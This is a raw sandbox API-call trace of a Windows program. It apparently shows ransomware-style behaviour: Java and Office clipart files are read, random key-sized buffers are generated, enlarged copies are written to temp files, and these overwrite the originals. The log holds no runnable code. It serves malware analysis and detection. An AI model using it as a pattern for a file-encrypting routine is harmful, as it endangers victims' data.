	[0248.407] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0248.407] GetFileType (hFile=0x1ac) returned 0x1
	[0248.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0248.408] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0248.408] GetFileType (hFile=0x1a8) returned 0x1
	[0248.408] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.408] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.413] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.413] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.414] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.414] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.416] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.416] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.417] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0248.417] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x8000, lpOverlapped=0x0) returned 1
	[0248.418] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x5f78, lpOverlapped=0x0) returned 1
	[0248.419] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x5f78, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x5f78, lpOverlapped=0x0) returned 1
	[0248.419] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0248.420] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823")) returned 0
	[0248.420] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823")) returned 0
	[0248.420] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823")) returned 0x20
	[0248.420] CloseHandle (hObject=0x1a8) returned 1
	[0248.420] CloseHandle (hObject=0x1ac) returned 1
	[0248.427] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e008ae445b1f752cca529cfd81739823" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e008ae445b1f752cca529cfd81739823")) returned 1
	[0248.432] SetEvent (hEvent=0xe4) returned 1
	[0248.432] WriteFile (in: hFile=0x0, lpBuffer=0xc000070180, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0248.432] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c5d94, lpOverlapped=0x0) returned 0
	[0248.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0248.433] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5bf4 | out: lpMode=0xc0000c5bf4) returned 0
	[0248.433] GetFileType (hFile=0x1ac) returned 0x1
	[0248.433] GetFileType (hFile=0x1ac) returned 0x1
	[0248.433] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0000c5c44 | out: lpFileInformation=0xc0000c5c44) returned 1
	[0248.433] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0000c5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c5c28) returned 1
	[0248.433] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x225e, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc0000c5b04*=0x205e, lpOverlapped=0x0) returned 1
	[0248.570] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00011e05e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00011e05e*, lpNumberOfBytesRead=0xc0000c5b04*=0x0, lpOverlapped=0x0) returned 1
	[0248.570] CloseHandle (hObject=0x1ac) returned 1
	[0248.570] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092420 | out: pbBuffer=0xc000092420) returned 1
	[0248.570] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a320 | out: pbBuffer=0xc00021a320) returned 1
	[0248.570] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8501 | out: pbBuffer=0xc0002a8501) returned 1
	[0248.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0248.572] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5c04 | out: lpMode=0xc0000c5c04) returned 0
	[0248.572] GetFileType (hFile=0x1ac) returned 0x1
	[0248.572] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00011e500*, nNumberOfBytesToWrite=0x215e, lpNumberOfBytesWritten=0xc0000c5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00011e500*, lpNumberOfBytesWritten=0xc0000c5bec*=0x215e, lpOverlapped=0x0) returned 1
	[0248.574] CloseHandle (hObject=0x1ac) returned 1
	[0248.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0248.583] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0248.583] GetFileType (hFile=0x1ac) returned 0x1
	[0248.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0248.583] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000c5d74 | out: lpMode=0xc0000c5d74) returned 0
	[0248.583] GetFileType (hFile=0x1a8) returned 0x1
	[0248.583] VirtualAlloc (lpAddress=0xc00010e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00010e000
	[0248.585] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x215e, lpOverlapped=0x0) returned 1
	[0248.585] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x215e, lpNumberOfBytesWritten=0xc0000c5b74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000c5b74*=0x215e, lpOverlapped=0x0) returned 1
	[0248.587] ReadFile (in: hFile=0x1a8, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000c5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000c5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0248.587] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3")) returned 0
	[0248.588] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3")) returned 0
	[0248.588] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3")) returned 0x20
	[0248.588] CloseHandle (hObject=0x1a8) returned 1
	[0248.588] CloseHandle (hObject=0x1ac) returned 1
	[0248.589] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\ef689e0242122e26e7aee417c7f3dcc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ef689e0242122e26e7aee417c7f3dcc3")) returned 1
	[0248.591] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0250.665] SetEvent (hEvent=0xe4) returned 1
	[0250.665] SetEvent (hEvent=0x190) returned 1
	[0250.665] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0251.561] SwitchToThread () returned 1
	[0251.696] SetEvent (hEvent=0x1a0) returned 1
	[0251.696] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), fInfoLevelId=0x0, lpFileInformation=0xc0000bb6b8 | out: lpFileInformation=0xc0000bb6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5b5)) returned 1
	[0251.697] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0) returned 0
	[0251.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0000bb6b8 | out: lpFileInformation=0xc0000bb6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1edd4e)) returned 1
	[0251.865] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0) returned 0
	[0251.865] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bb66c, lpOverlapped=0x0) returned 0
	[0251.865] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0269.277] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0270.000] SwitchToThread () returned 1
	[0270.074] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0270.154] SetEvent (hEvent=0xe4) returned 1
	[0270.154] VirtualAlloc (lpAddress=0xc000408000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000408000
	[0270.155] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffda8*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0270.189] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0270.189] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070bff640, ulCount=0x10, ulNumEntriesRemoved=0x7070bff618, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070bff640, ulNumEntriesRemoved=0x7070bff618) returned 0
	[0270.189] SetEvent (hEvent=0xe4) returned 1
	[0270.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdb8*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0270.223] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0270.223] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0270.258] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0278.811] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0278.937] VirtualFree (lpAddress=0xc006f04000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0278.938] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0279.190] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0279.250] SetEvent (hEvent=0x190) returned 1
	[0279.250] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0) returned 0
	[0279.251] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031d94, lpOverlapped=0x0) returned 0
	[0279.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.251] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000031bf4 | out: lpMode=0xc000031bf4) returned 0
	[0279.251] GetFileType (hFile=0x19c) returned 0x1
	[0279.251] GetFileType (hFile=0x19c) returned 0x1
	[0279.251] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000031c44 | out: lpFileInformation=0xc000031c44) returned 1
	[0279.252] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000031c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000031c28) returned 1
	[0279.252] ReadFile (in: hFile=0x19c, lpBuffer=0xc00004e000, nNumberOfBytesToRead=0x2540, lpNumberOfBytesRead=0xc000031b04, lpOverlapped=0x0 | out: lpBuffer=0xc00004e000*, lpNumberOfBytesRead=0xc000031b04*=0x2340, lpOverlapped=0x0) returned 1
	[0279.268] ReadFile (in: hFile=0x19c, lpBuffer=0xc000050340, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000031b04, lpOverlapped=0x0 | out: lpBuffer=0xc000050340*, lpNumberOfBytesRead=0xc000031b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.268] CloseHandle (hObject=0x19c) returned 1
	[0279.268] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202180 | out: pbBuffer=0xc000202180) returned 1
	[0279.268] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021ae70 | out: pbBuffer=0xc00021ae70) returned 1
	[0279.268] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082101 | out: pbBuffer=0xc000082101) returned 1
	[0279.269] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.270] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0279.270] GetFileType (hFile=0x19c) returned 0x1
	[0279.270] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x2440, lpOverlapped=0x0) returned 1
	[0279.272] CloseHandle (hObject=0x19c) returned 1
	[0279.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.275] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.275] GetFileType (hFile=0x19c) returned 0x1
	[0279.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.276] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.276] GetFileType (hFile=0x1b0) returned 0x1
	[0279.276] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000130000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x2440, lpOverlapped=0x0) returned 1
	[0279.276] WriteFile (in: hFile=0x19c, lpBuffer=0xc000130000*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x2440, lpOverlapped=0x0) returned 1
	[0279.278] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000130000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000130000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.278] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b")) returned 0
	[0279.278] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b")) returned 0
	[0279.278] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b")) returned 0x20
	[0279.279] CloseHandle (hObject=0x1b0) returned 1
	[0279.279] CloseHandle (hObject=0x19c) returned 1
	[0279.279] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d707351ae9a2f8b426cf0186b56a668b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d707351ae9a2f8b426cf0186b56a668b")) returned 1
	[0279.281] SetEvent (hEvent=0x190) returned 1
	[0279.281] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.281] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0279.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.282] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0279.282] GetFileType (hFile=0x19c) returned 0x1
	[0279.282] GetFileType (hFile=0x19c) returned 0x1
	[0279.282] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0279.282] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0279.282] ReadFile (in: hFile=0x19c, lpBuffer=0xc000062000, nNumberOfBytesToRead=0x1c1c, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000062000*, lpNumberOfBytesRead=0xc0001dbb04*=0x1a1c, lpOverlapped=0x0) returned 1
	[0279.314] ReadFile (in: hFile=0x19c, lpBuffer=0xc000063a1c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000063a1c*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0279.315] CloseHandle (hObject=0x19c) returned 1
	[0279.315] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0100 | out: pbBuffer=0xc0000c0100) returned 1
	[0279.315] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0002b2680 | out: pbBuffer=0xc0002b2680) returned 1
	[0279.315] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c101 | out: pbBuffer=0xc00023c101) returned 1
	[0279.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\83985690457ce6c8a6c936a48eca7147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\83985690457ce6c8a6c936a48eca7147"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.316] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0279.316] GetFileType (hFile=0x19c) returned 0x1
	[0279.316] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000c8000*, nNumberOfBytesToWrite=0x1b1c, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0000c8000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x1b1c, lpOverlapped=0x0) returned 1
	[0279.317] CloseHandle (hObject=0x19c) returned 1
	[0279.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.320] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0279.320] GetFileType (hFile=0x19c) returned 0x1
